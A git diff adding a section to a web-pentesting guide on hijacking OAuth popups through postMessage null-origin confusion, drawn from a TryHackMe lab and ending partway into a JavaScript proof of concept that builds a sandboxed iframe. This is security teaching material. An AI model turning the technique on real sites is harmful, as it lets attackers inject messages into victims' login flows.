diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md index 3fd0f317444..8467c69f71c 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md +++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md @@ -83,6 +83,49 @@ The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**foll ``` +### 2025 Null-Origin Popups (TryHackMe - Vulnerable Codes) + +A recent TryHackMe task (“Vulnerable Codes”) demonstrates how OAuth popups can be hijacked when the opener lives inside a sandboxed iframe that only allows scripts and popups. The iframe forces both itself and the popup into a `"null"` origin, so handlers checking `if (origin !== window.origin) return` silently fail because `window.origin` inside the popup is also `"null"`. Even though the browser still exposes the real `location.origin`, the victim never inspects it, so attacker-controlled messages glide through. + +```javascript +const frame = document.createElement('iframe'); +frame.sandbox = 'allow-scripts allow-popups'; +frame.srcdoc = ` +